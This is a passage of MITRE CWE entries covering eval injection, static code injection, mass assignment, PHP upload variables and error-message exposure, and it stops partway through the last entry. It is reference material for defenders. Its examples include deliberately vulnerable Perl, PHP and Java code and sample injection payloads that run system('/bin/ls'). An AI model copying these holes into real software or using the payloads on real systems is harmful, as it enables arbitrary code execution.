[R.98.2] [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[REF-12] Shaun Clowes. "A Study in Scarlet". <http://www.cgisecurity.com/lib/studyinscarlet.txt>.
[REF-13] Stefan Esser. "Suhosin". <http://www.hardened-php.net/suhosin/>.
Johannes Ullrich. "Top 25 Series - Rank 13 - PHP File Inclusion". SANS Software Security Institute. 2010-03-11. <http://blogs.sans.org/appsecstreetfighter/2010/03/11/top-25-series-rank-13-php-file-inclusion/>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Relationship_Notes, Research_Gaps, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Relationships
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-05-27CWE Content TeamMITREInternal
updated Description, Name
2009-12-28CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, Time_of_Introduction
2010-02-16
(Critical)
CWE Content TeamMITREInternal
converted from Compound_Element to Weakness
2010-02-16CWE Content TeamMITREInternal
updated Alternate_Terms, Common_Consequences, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Type
2010-06-21CWE Content TeamMITREInternal
updated Potential_Mitigations, References
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-12-13CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-27CWE Content TeamMITREInternal
updated Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations, References
2013-02-21CWE Content TeamMITREInternal
updated Alternate_Terms, Name, Observed_Examples
2017-01-19CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11PHP File Inclusion
2009-05-27Insufficient Control of Filename for Include/Require Statement in PHP Program (aka 'PHP File Inclusion')
2013-02-21Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')

CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Weakness ID: 95
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").

Extended Description

This may allow an attacker to execute arbitrary code, or at least modify what code can be executed.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

Java

Javascript

Python

Perl

PHP

Ruby

Interpreted Languages

+ Modes of Introduction

This weakness is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.

+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read files or directories; Read application data

The injected code could access restricted data / files.

Access Control

Technical Impact: Bypass protection mechanism

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

Access Control

Technical Impact: Gain privileges / assume identity

Injected code can access resources that the attacker is directly prevented from accessing.

Integrity
Confidentiality
Availability
Other

Technical Impact: Execute unauthorized code or commands

Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.

Non-Repudiation

Technical Impact: Hide activities

Often the actions performed by injected control code are unlogged.

+ Likelihood of Exploit

Medium

+ Demonstrative Examples

Example 1

edit-config.pl: This CGI script is used to modify settings in a configuration file.

(Bad Code)
Example Language: Perl 
use CGI qw(:standard);

sub config_file_add_key {
my ($fname, $key, $arg) = @_;

# code to add a field/key to a file goes here
}

sub config_file_set_key {
my ($fname, $key, $arg) = @_;

# code to set key to a particular file goes here
}

sub config_file_delete_key {
my ($fname, $key, $arg) = @_;

# code to delete key from a particular file goes here
}

sub handleConfigAction {
my ($fname, $action) = @_;
my $key = param('key');
my $val = param('val');

# this is super-efficient code, especially if you have to invoke
# any one of dozens of different functions!

my $code = "config_file_$action_key(\$fname, \$key, \$val);";
eval($code);
}

$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
handleConfigAction($configfile, param('action'));
}
else {
print "No action specified!\n";
}

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:

(Attack)
 
add_key(",","); system("/bin/ls");

This would produce the following string in handleConfigAction():

(Result)
 
config_file_add_key(",","); system("/bin/ls");

Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key(\$fname, \$key, \$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

+ Observed Examples
ReferenceDescription
Eval injection in PHP program.
Eval injection in Perl program.
Eval injection in Perl program using an ID that should only contain hyphens and numbers.
Direct code injection into Perl eval function.
Eval injection in Perl program.
Direct code injection into Perl eval function.
Direct code injection into Perl eval function.
MFV. code injection into PHP eval statement using nested constructs that should not be nested.
MFV. code injection into PHP eval statement using nested constructs that should not be nested.
Code injection into Python eval statement from a field in a formatted file.
Eval injection in Python program.
chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.
Chain: Execution after redirect triggers eval injection.
+ Potential Mitigations

Phases: Architecture and Design; Implementation

If possible, refactor your code so that it does not need to use eval() at all.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

+ Other Notes

Factors: special character errors can play a role in increasing the variety of code that can be injected, although some vulnerabilities do not require special characters at all, e.g. when a single function without arguments can be referenced and a terminator character is not necessary.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class94Improper Control of Generation of Code ('Code Injection')
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory714OWASP Top Ten 2007 Category A3 - Malicious File Execution
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory727OWASP Top Ten 2004 Category A6 - Injection Flaws
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory990SFP Secondary Cluster: Tainted Input to Command
Software Fault Pattern (SFP) Clusters (primary)888
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Research Gaps

This issue is probably under-reported. Most relevant CVEs have been for Perl and PHP, but eval injection applies to most interpreted languages. Javascript eval injection is likely to be heavily under-reported.

+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERDirect Dynamic Code Evaluation ('Eval Injection')
OWASP Top Ten 2007A3CWE More SpecificMalicious File Execution
OWASP Top Ten 2004A6CWE More SpecificInjection Flaws
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 18, "Inline Evaluation", Page 1095.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Description, Modes_of_Introduction, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITREInternal
updated Description, Observed_Examples, Other_Notes, Research_Gaps
2009-05-27CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Description, Name, References
2010-02-16CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-06-21CWE Content TeamMITREInternal
updated Description, Name
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2013-02-21CWE Content TeamMITREInternal
updated Observed_Examples
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Direct Dynamic Code Evaluation ('Eval Injection')
2009-05-27Insufficient Control of Directives in Dynamically Evaluated Code (aka 'Eval Injection')
2010-06-21Improper Sanitization of Directives in Dynamically Evaluated Code ('Eval Injection')

CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')

Weakness ID: 96
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.
+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

PHP

Perl

All Interpreted Languages

+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read files or directories; Read application data

The injected code could access restricted data / files.

Access Control

Technical Impact: Bypass protection mechanism

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

Access Control

Technical Impact: Gain privileges / assume identity

Injected code can access resources that the attacker is directly prevented from accessing.

Integrity
Confidentiality
Availability
Other

Technical Impact: Execute unauthorized code or commands

Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.

Non-Repudiation

Technical Impact: Hide activities

Often the actions performed by injected control code are unlogged.

+ Enabling Factors for Exploitation

This issue is most frequently found in PHP applications that allow users to set configuration variables that are stored within executable php files. Technically, this could also be performed in some compiled code (e.g. by byte-patching an executable), although it is highly unlikely.

+ Demonstrative Examples

Example 1

This example attempts to write user messages to a message file and allow users to view them.

(Bad Code)
Example Language: PHP 
$MessageFile = "cwe-94/messages.out";
if ($_GET["action"] == "NewMessage") {
$name = $_GET["name"];
$message = $_GET["message"];
$handle = fopen($MessageFile, "a+");
fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
fclose($handle);
echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
include($MessageFile);
}

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

(Attack)
 
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E

which will decode to the following:

(Attack)
 
<?php system("/bin/ls -l");?>

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

+ Observed Examples
ReferenceDescription
Perl code directly injected into CGI library file from parameters to another CGI program.
Direct PHP code injection into supporting template file.
Direct code injection into PHP script that can be accessed by attacker.
PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.
chain: execution after redirect allows non-administrator to perform static code injection.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

Perform proper output validation and escaping to neutralize all code syntax from data written to code files.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class94Improper Control of Generation of Code ('Code Injection')
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory990SFP Secondary Cluster: Tainted Input to Command
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness VariantWeakness Variant97Improper Neutralization of Server-Side Includes (SSI) Within a Web Page
Development Concepts (primary)699
Research Concepts (primary)1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Relationship Notes

"HTML injection" (see CWE-79: XSS) could be thought of as an example of this, but the code is injected and executed on the client side, not the server side. Server-Side Includes (SSI) are an example of direct static code injection.

+ Affected Resources
  • File/Directory
+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERDirect Static Code Injection
Software Fault PatternsSFP24Tainted input to command
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-05-27CWE Content TeamMITREInternal
updated Description, Name
2010-04-05CWE Content TeamMITREInternal
updated Description, Name
2010-06-21CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2013-02-21CWE Content TeamMITREInternal
updated Observed_Examples
2014-06-23CWE Content TeamMITREInternal
updated Enabling_Factors_for_Exploitation, Other_Notes, Relationship_Notes
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Direct Static Code Injection
2009-05-27Insufficient Control of Directives in Statically Saved Code (Static Code Injection)
2010-04-05Improper Sanitization of Directives in Statically Saved Code ('Static Code Injection')

CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

Weakness ID: 915
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The software receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.

Extended Description

If the object contains attributes that were only intended for internal use, then their unexpected modification could lead to a vulnerability.

This weakness is sometimes known by the language-specific mechanisms that make it possible, such as mass assignment, autobinding, or object injection.

+ Alternate Terms
Mass Assignment:

"Mass assignment" is the name of a feature in Ruby on Rails that allows simultaneous modification of multiple object attributes.

AutoBinding:

The "Autobinding" term is used in frameworks such as Spring MVC and ASP.NET MVC.

Object injection:

This term seems to be preferred by some PHP application researchers who attack unsafe use of the unserialize() function.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

Ruby

ASP.NET

PHP

Python

Language-independent

+ Common Consequences
ScopeEffect
Integrity

Technical Impact: Modify application data

An attacker could modify sensitive data or program variables.

Integrity

Technical Impact: Execute unauthorized code or commands

Other
Integrity

Technical Impact: Varies by context; Alter execution logic

+ Observed Examples
ReferenceDescription
Mass assignment allows modification of arbitrary attributes using modified URL.
Source version control product allows modification of trusted key using mass assignment.
Attackers can bypass payment step in e-commerce software.
Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.
Use of PHP unserialize function on untrusted input in content management system might allow code execution.
Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value.
Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution.
Content management system written in PHP allows code execution through page comments.
Use of PHP unserialize function on cookie value allows remote code execution or upload of arbitrary files.
Content management system written in Python interprets untrusted data as pickles, allowing code execution.
Python script allows local users to execute code via pickled data.
Python script allows remote attackers to execute arbitrary code using pickled objects.
Ruby on Rails allows deserialization of untrusted YAML to execute arbitrary code.
Spring framework allows deserialization of objects from untrusted sources to execute arbitrary code.
Grails allows binding of arbitrary parameters to modify arbitrary object properties.
Incorrect deserialization in web browser allows escaping the sandbox.
Media library allows deserialization of objects by untrusted Java applets, leading to arbitrary code execution.
+ Potential Mitigations

Phase: Implementation

If available, use features of the language or framework that allow specification of white lists of attributes or fields that are allowed to be modified. If possible, prefer white lists over black lists.

For applications written with Ruby on Rails, use the attr_accessible (white list) or attr_protected (black list) macros in each class that may be used in mass assignment.

Phases: Architecture and Design; Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Phase: Implementation

Strategy: Input Validation

For any externally-influenced input, check the input against a white list of internal object attributes or fields that are allowed to be modified.

Phases: Implementation; Architecture and Design

Strategy: Refactoring

Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class913Improper Control of Dynamically-Managed Code Resources
Development Concepts (primary)699
Research Concepts (primary)1000
PeerOfWeakness VariantWeakness Variant502Deserialization of Untrusted Data
Research Concepts1000
+ References
Stefan Esser. "Shocking News in PHP Exploitation". 2009. <http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf>.
Dinis Cruz. ""Two Security Vulnerabilities in the Spring Framework's MVC" pdf (from 2008)". <http://blog.diniscruz.com/2011/07/two-security-vulnerabilities-in-spring.html>.
Ryan Berg and Dinis Cruz. "Two Security Vulnerabilities in the Spring Framework's MVC". <http://o2platform.files.wordpress.com/2011/07/ounce_springframework_vulnerabilities.pdf>.
ASPNETUE . "Best Practices for ASP.NET MVC". 2010-09-17. <http://blogs.msdn.com/b/aspnetue/archive/2010/09/17/second_2d00_post.aspx>.
Michael Hartl. "Mass assignment in Rails applications". 2008-09-21. <http://blog.mhartl.com/2008/09/21/mass-assignment-in-rails-applications/>.
Tobi. "Secure your Rails apps!". 2012-03-06. <http://pragtob.wordpress.com/2012/03/06/secure-your-rails-apps/>.
Heiko Webers. "Ruby On Rails Security Guide". <http://guides.rubyonrails.org/security.html#mass-assignment>.
Josh Bush. "Mass Assignment Vulnerability in ASP.NET MVC". 2012-03-05. <http://freshbrewedcode.com/joshbush/2012/03/05/mass-assignment-aspnet-mvc/ >.
K. Scott Allen. "6 Ways To Avoid Mass Assignment in ASP.NET MVC". 2012-03-12. <http://odetocode.com/blogs/scott/archive/2012/03/11/complete-guide-to-mass-assignment-in-asp-net-mvc.aspx>.
Egidio Romano. "PHP Object Injection". 2013-01-22. <https://www.owasp.org/index.php/PHP_Object_Injection>.
Heine Deelstra. "Unserializing user-supplied data, a bad idea". 2010-08-25. <http://heine.familiedeelstra.com/security/unserialize>.
Nadia Alramli. "Why Python Pickle is Insecure". 2009-09-09. <http://nadiana.com/python-pickle-insecure>.
+ Maintenance Notes

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
2013-01-26MITREInternal CWE Team
Contributions
Contribution DateContributorOrganizationSource
2013-01-26Dan Amodio, Dave WichersAspect SecurityFeedback
Suggested adding mass assignment, provided references, and clarified relationship with AutoBinding.
Modifications
Modification DateModifierOrganizationSource
2013-07-17CWE Content TeamMITREInternal
updated References

CWE-616: Incomplete Identification of Uploaded File Variables (PHP)

Weakness ID: 616
Abstraction: Variant
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The PHP application uses an old method for processing uploaded files by referencing the four global variables that are set for each file (e.g. $varname, $varname_size, $varname_name, $varname_type). These variables could be overwritten by attackers, causing the application to process unauthorized files.

Extended Description

These global variables could be overwritten by POST requests, cookies, or other methods of populating or overwriting these variables. This could be used to read or process arbitrary files by providing values such as "/etc/passwd".

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

PHP

+ Common Consequences
ScopeEffect
Confidentiality
Integrity

Technical Impact: Read files or directories; Modify files or directories

+ Demonstrative Examples

Example 1

As of 2006, the "four globals" method is probably in sharp decline, but older PHP applications could have this issue.

In the "four globals" method, PHP sets the following 4 global variables (where "varname" is application-dependent):

(Bad Code)
Example Language: PHP 
$varname = name of the temporary file on local machine
$varname_size = size of file
$varname_name = original name of file provided by client
$varname_type = MIME type of the file

Example 2

"The global $_FILES exists as of PHP 4.1.0 (Use $HTTP_POST_FILES instead if using an earlier version). These arrays will contain all the uploaded file information."

(Bad Code)
Example Language: PHP 
$_FILES['userfile']['name'] - original filename from client
$_FILES['userfile']['tmp_name'] - the temp filename of the file on the server

** note: 'userfile' is the field name from the web form; this can vary.

+ Observed Examples
ReferenceDescription
Forum does not properly verify whether a file was uploaded or if the associated variables were set by POST, allowing remote attackers to read arbitrary files.
Product doesn't check if the variables for an upload were set by uploading the file, or other methods such as $_POST.
Product does not distinguish uploaded file from other files.
+ Potential Mitigations

Phase: Architecture and Design

Use PHP 4 or later.

Phase: Architecture and Design

If you must support older PHP versions, write your own version of is_uploaded_file() and run it against $HTTP_POST_FILES['userfile']))

Phase: Implementation

For later PHP versions, reference uploaded files using the $HTTP_POST_FILES or $_FILES variables, and use is_uploaded_file() or move_uploaded_file() to ensure that you are dealing with an uploaded file.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class345Insufficient Verification of Data Authenticity
Research Concepts (primary)1000
ChildOfCategoryCategory429Handler Errors
Development Concepts (primary)699
ChildOfCategoryCategory994SFP Secondary Cluster: Tainted Input to Variable
Software Fault Pattern (SFP) Clusters (primary)888
PeerOfWeakness VariantWeakness Variant473PHP External Variable Modification
Research Concepts1000
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERIncomplete Identification of Uploaded File Variables (PHP)
Software Fault PatternsSFP25Tainted input to variable
+ References
Shaun Clowes. "A Study in Scarlet - section 5, "File Upload"".
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITREInternal
updated Description, Other_Notes, Potential_Mitigations
2011-03-29CWE Content TeamMITREInternal
updated Other_Notes
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Observed_Examples, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings

CWE-209: Information Exposure Through an Error Message

Weakness ID: 209
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software generates an error message that includes sensitive information about its environment, users, or associated data.

Extended Description

The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more deadly attacks. If an attack fails, an attacker may use error information provided by the server to launch another more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the installed application. In turn, this could be used to select the proper number of ".." sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.

+ Time of Introduction
  • Architecture and Design
  • Implementation
  • System Configuration
  • Operation
+ Applicable Platforms

Languages

PHP: (Often)

All

+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read application data

Often this will either reveal sensitive information which may be used for a later attack or private information stored in the server.

+ Likelihood of Exploit

High

+ Detection Methods

Manual Analysis

This weakness generally requires domain-specific interpretation using manual analysis. However, the number of potential error conditions may be too large to cover completely within limited time constraints.

Effectiveness: High

Automated Analysis

Automated methods may be able to detect certain idioms automatically, such as exposed stack traces or pathnames, but violation of business rules or privacy requirements is not typically feasible.

Effectiveness: Moderate

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Error conditions may be triggered with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

Effectiveness: Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

+ Demonstrative Examples

Example 1

In the following example, sensitive information might be printed depending on the exception that occurs.

(Bad Code)
Example Language: Java 
try {
/.../
}
catch (Exception e) {
System.out.println(e);
}

If an exception related to SQL is handled by the catch, then the output might contain sensitive information such as SQL query structure or private information. If this output is redirected to a web user, this may represent a security problem.

Example 2

This code tries to open a database connection, and prints any exceptions that occur.

(Bad Code)
Example Language: PHP 
try {
openDbConnection();
}
//print exception message that includes exception message and configuration file location
catch (Exception $e) {
echo 'Caught exception: ', $e->getMessage(), '\n';
echo 'Check credentials in config file at: ', $Mysql_config_location, '\n';
}

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.

Example 3

The following code generates an error message that leaks the full pathname of the configuration file.

(Bad Code)
Example Language: Perl 
$ConfigDir = "/home/myprog/config";
$uname = GetUserInput("username");
# avoid CWE-22, CWE-78, others.
ExitError("Bad hacker!") if ($uname !~ /^\w+$/);
$file = "$ConfigDir/$uname.txt";
if (! (-e $file)) {
ExitError("Error: $file does not exist");
}
...

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a $file that exists, an attacker could get this pathname. It could then be used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.

Example 4

In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.

(Bad Code)
Example Language: Java 
public BankAccount getUserBankAccount(String username, String accountNumber) {
BankAccount userAccount = null;
String query = null;
try {
if (isAuthorizedUser(username)) {
query = "SELECT * FROM accounts WHERE owner = "
+ username + " AND accountID = " + accountNumber;
DatabaseManager dbManager = new DatabaseManager();
Connection conn = dbManager.getConnection();
Statement stmt = conn.createStatement();
ResultSet queryResult = stmt.executeQuery(query);
userAccount = (BankAccount)queryResult.getObject(accountNumber);
}
} catch (SQLException ex) {
String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
}
return userAccount;
}

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

+ Observed Examples
ReferenceDescription
POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness.
Program reveals password in error message if attacker can trigger certain database errors.
Composite: application running with high privileges allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file.
Existence of user names can be determined by requesting a nonexistent blog and reading the error message.
Direct request to library file in web application triggers pathname leak in error message.
Malformed input to login page causes leak of full path when IMAP call fails.
Malformed regexp syntax leads to information exposure in error message.
+ Potential Mitigations

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

Phase: Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user.

Phase: Implementation

Strategy: Identify and Reduce Attack Surface

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

Effectiveness: Defense in Depth

This makes it easier to spot places in the code where data is being used that is unencrypted.

Phases: Implementation; Build and Compilation

Strategies: Compilation or Build Hardening; Environment Hardening

Debugging information should not make its way into a production release.

Phase: System Configuration

